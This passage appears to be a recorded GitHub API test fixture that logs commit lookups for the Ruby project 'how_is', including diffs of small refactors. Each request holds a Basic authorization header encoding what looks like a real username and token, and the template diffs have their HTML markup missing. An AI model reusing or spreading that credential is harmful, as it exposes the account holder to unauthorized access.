https://api.github.com/repos/how-is/how_is/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3394' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"92dfa0b8dd839588daa43976f46aa220" Last-Modified: - Sun, 16 Jul 2017 18:29:01 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 0C41:457D:1131F2:2CD516:5CC36AE3 body: encoding: ASCII-8BIT string: '{"sha":"cc93e409ebcc3c008312ffb0421a2a660760ff2c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2M5M2U0MDllYmNjM2MwMDgzMTJmZmIwNDIxYTJhNjYwNzYwZmYyYw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:29:01Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:29:01Z"},"message":"Add config file for github_changelog_generator","tree":{"sha":"fd4fa5c0cb35316cdc194e20d29faf879f67db74","url":"https://api.github.com/repos/how-is/how_is/git/trees/fd4fa5c0cb35316cdc194e20d29faf879f67db74"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c","html_url":"https://github.com/how-is/how_is/commit/cc93e409ebcc3c008312ffb0421a2a660760ff2c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"50a9b616043fdadfcb262d68c5be32bb5f350c5d","url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","html_url":"https://github.com/how-is/how_is/commit/50a9b616043fdadfcb262d68c5be32bb5f350c5d"}],"stats":{"total":3,"additions":3,"deletions":0},"files":[{"sha":"5626884acae09ef2e57949ad18c2c50bdd863dbf","filename":".github_changelog_generator","status":"added","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/how-is/how_is/blob/cc93e409ebcc3c008312ffb0421a2a660760ff2c/.github_changelog_generator","raw_url":"https://github.com/how-is/how_is/raw/cc93e409ebcc3c008312ffb0421a2a660760ff2c/.github_changelog_generator","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.github_changelog_generator?ref=cc93e409ebcc3c008312ffb0421a2a660760ff2c","patch":"@@ -0,0 +1,3 @@\n+user=how-is\n+project=how_is\n+"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:35 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/9c3214ddd70d57316088d65bdf4711fa880fa167 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3393' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a0c66f41985d46f1056f30a3f55c96b1" Last-Modified: - Sun, 16 Jul 2017 18:08:20 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 17A9:080A:260B92:4DB057:5CC36AE3 body: encoding: ASCII-8BIT string: '{"sha":"9c3214ddd70d57316088d65bdf4711fa880fa167","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWMzMjE0ZGRkNzBkNTczMTYwODhkNjViZGY0NzExZmE4ODBmYTE2Nw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:08:20Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:08:20Z"},"message":"Lint: extract HTML template from a method","tree":{"sha":"0cee141d8e0c9d060ed5b001851ec6624c43439c","url":"https://api.github.com/repos/how-is/how_is/git/trees/0cee141d8e0c9d060ed5b001851ec6624c43439c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9c3214ddd70d57316088d65bdf4711fa880fa167","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9c3214ddd70d57316088d65bdf4711fa880fa167","html_url":"https://github.com/how-is/how_is/commit/9c3214ddd70d57316088d65bdf4711fa880fa167","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9c3214ddd70d57316088d65bdf4711fa880fa167/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"a0fa99d78b499a6cae4c670ce3446f5751b57cec","url":"https://api.github.com/repos/how-is/how_is/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec","html_url":"https://github.com/how-is/how_is/commit/a0fa99d78b499a6cae4c670ce3446f5751b57cec"}],"stats":{"total":64,"additions":32,"deletions":32},"files":[{"sha":"5def98338b99e9e6b4c8e5af8c418f97f9c1c20d","filename":"lib/how_is/report/html.rb","status":"modified","additions":32,"deletions":32,"changes":64,"blob_url":"https://github.com/how-is/how_is/blob/9c3214ddd70d57316088d65bdf4711fa880fa167/lib/how_is/report/html.rb","raw_url":"https://github.com/how-is/how_is/raw/9c3214ddd70d57316088d65bdf4711fa880fa167/lib/how_is/report/html.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/html.rb?ref=9c3214ddd70d57316088d65bdf4711fa880fa167","patch":"@@ -70,40 +70,40 @@ def export\n generate_report_text!\n end\n \n- def export_file(file)\n- report = export\n+ HTML_DOC_TEMPLATE = <<~EOF\n+ \n+ \n+ \n+ %{title}\n+ \n+ \n+ \n+
\n+ %{report}\n+
\n+ \n+ \n+ EOF\n \n+ def export_file(file)\n+ content = Kernel.format(HTML_DOC_TEMPLATE, title: @title, report: export)\n File.open(file, \"w\") do |f|\n- f.puts <<~EOF\n- \n- \n- \n- #{@title}\n- \n- \n- \n-
\n- #{report}\n-
\n- \n- \n- EOF\n+ f.puts content\n end\n end\n "}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:35 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3392' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"176be2f86ba65929deb7bf43d819f97c" Last-Modified: - Sun, 16 Jul 2017 18:02:35 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - FD3A:5F1A:108ED5:2B656C:5CC36AE3 body: encoding: ASCII-8BIT string: '{"sha":"a0fa99d78b499a6cae4c670ce3446f5751b57cec","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTBmYTk5ZDc4YjQ5OWE2Y2FlNGM2NzBjZTM0NDZmNTc1MWI1N2NlYw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:02:35Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T18:02:35Z"},"message":"Avoid long method","tree":{"sha":"c82261913dcbd48d24a40b7d44e455c0b0eabade","url":"https://api.github.com/repos/how-is/how_is/git/trees/c82261913dcbd48d24a40b7d44e455c0b0eabade"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec","html_url":"https://github.com/how-is/how_is/commit/a0fa99d78b499a6cae4c670ce3446f5751b57cec","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a0fa99d78b499a6cae4c670ce3446f5751b57cec/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a71713e839a175cd4ba49f054d9f7b42c4c548b","url":"https://api.github.com/repos/how-is/how_is/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b","html_url":"https://github.com/how-is/how_is/commit/4a71713e839a175cd4ba49f054d9f7b42c4c548b"}],"stats":{"total":38,"additions":22,"deletions":16},"files":[{"sha":"75a1871a783681966c25785a5cd8f2bacf5524f6","filename":"lib/how_is/report/html.rb","status":"modified","additions":22,"deletions":16,"changes":38,"blob_url":"https://github.com/how-is/how_is/blob/a0fa99d78b499a6cae4c670ce3446f5751b57cec/lib/how_is/report/html.rb","raw_url":"https://github.com/how-is/how_is/raw/a0fa99d78b499a6cae4c670ce3446f5751b57cec/lib/how_is/report/html.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/html.rb?ref=a0fa99d78b499a6cae4c670ce3446f5751b57cec","patch":"@@ -35,6 +35,14 @@ def unordered_list(arr)\n @r += \"\\n\\n\"\n end\n \n+ ROW_HTML_GRAPH = <<-EOF\n+ \n+ %{label_text}\n+ %{link_text}\n+ \n+\n+ EOF\n+\n def horizontal_bar_graph(data)\n if data.length == 1 && data[0][0] == \"(No label)\"\n text \"There are no open issues to graph.\"\n@@ -49,22 +57,10 @@ def horizontal_bar_graph(data)\n \n @r += \"\\n\"\n data.each do |row|\n- percentage = get_percentage.call(row[1])\n-\n- label_text =\n- if row[2]\n- link(row[0], row[2])\n- else\n- row[0]\n- end\n-\n- @r += <<-EOF\n- \n- \n- \n- \n-\n- EOF\n+ @r += Kernel.format(ROW_HTML_GRAPH, label_width: label_width,\n+ label_text: label_text_for(row),\n+ percentage: get_percentage.call(row[1]),\n+ link_text: row[1])\n end\n @r += \"
#{label_text}#{row[1]}
\\n\"\n end\n@@ -110,5 +106,15 @@ def export_file(file)\n EOF\n end\n end\n+\n+ private\n+\n+ def label_text_for(row)\n+ if row[2]\n+ link(row[0], row[2])\n+ else\n+ row[0]\n+ end\n+ end\n end\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:35 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3391' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c9165c14bc31c664b3ea94ebbfc7f478" Last-Modified: - Sun, 16 Jul 2017 17:54:04 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - F586:0C0A:8B2FE:189190:5CC36AE4 body: encoding: ASCII-8BIT string: '{"sha":"4a71713e839a175cd4ba49f054d9f7b42c4c548b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGE3MTcxM2U4MzlhMTc1Y2Q0YmE0OWYwNTRkOWY3YjQyYzRjNTQ4Yg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:54:04Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:54:04Z"},"message":"Comment worded clearer.","tree":{"sha":"deb63aff27d8016cfd88b8e67ff8b72e7f75f192","url":"https://api.github.com/repos/how-is/how_is/git/trees/deb63aff27d8016cfd88b8e67ff8b72e7f75f192"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b","html_url":"https://github.com/how-is/how_is/commit/4a71713e839a175cd4ba49f054d9f7b42c4c548b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4a71713e839a175cd4ba49f054d9f7b42c4c548b/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"2a0613095eb547adde99796836150a2a808b62d6","url":"https://api.github.com/repos/how-is/how_is/commits/2a0613095eb547adde99796836150a2a808b62d6","html_url":"https://github.com/how-is/how_is/commit/2a0613095eb547adde99796836150a2a808b62d6"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"16606fbf554bb13fcd78e58b09e74d7ff763361f","filename":"spec/how_is_spec.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/4a71713e839a175cd4ba49f054d9f7b42c4c548b/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/4a71713e839a175cd4ba49f054d9f7b42c4c548b/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=4a71713e839a175cd4ba49f054d9f7b42c4c548b","patch":"@@ -108,7 +108,7 @@\n end\n end\n \n- # Disable ''cop'' that is violated by every .generate_frontmatter() calls.\n+ # Disable RuboCop rule that is violated by every .generate_frontmatter() call.\n # rubocop:disable Style/BracesAroundHashParameters\n context \"#generate_frontmatter\" do\n it \"works with frontmatter parameter using String keys, report_data using String keys\" do"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:36 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/2a0613095eb547adde99796836150a2a808b62d6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:36 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3390' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"2010504238440f8d6b278f2da6f3ce79" Last-Modified: - Sun, 16 Jul 2017 17:32:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 9FF4:1AE5:1E083B:41E926:5CC36AE4 body: encoding: ASCII-8BIT string: '{"sha":"2a0613095eb547adde99796836150a2a808b62d6","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmEwNjEzMDk1ZWI1NDdhZGRlOTk3OTY4MzYxNTBhMmE4MDhiNjJkNg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:32:32Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T17:32:32Z"},"message":"Analyzer: extract method to avoid long method","tree":{"sha":"c017189399dbb4a13008eb8957e7bd43cd052d72","url":"https://api.github.com/repos/how-is/how_is/git/trees/c017189399dbb4a13008eb8957e7bd43cd052d72"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2a0613095eb547adde99796836150a2a808b62d6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2a0613095eb547adde99796836150a2a808b62d6","html_url":"https://github.com/how-is/how_is/commit/2a0613095eb547adde99796836150a2a808b62d6","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2a0613095eb547adde99796836150a2a808b62d6/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"dddba7e686a8c0aca4a35b4374bca9500cc11fb2","url":"https://api.github.com/repos/how-is/how_is/commits/dddba7e686a8c0aca4a35b4374bca9500cc11fb2","html_url":"https://github.com/how-is/how_is/commit/dddba7e686a8c0aca4a35b4374bca9500cc11fb2"}],"stats":{"total":51,"additions":28,"deletions":23},"files":[{"sha":"b6e8a6ec98d85f517cc33328d104a81d4a108aa3","filename":"lib/how_is/analyzer.rb","status":"modified","additions":28,"deletions":23,"changes":51,"blob_url":"https://github.com/how-is/how_is/blob/2a0613095eb547adde99796836150a2a808b62d6/lib/how_is/analyzer.rb","raw_url":"https://github.com/how-is/how_is/raw/2a0613095eb547adde99796836150a2a808b62d6/lib/how_is/analyzer.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/h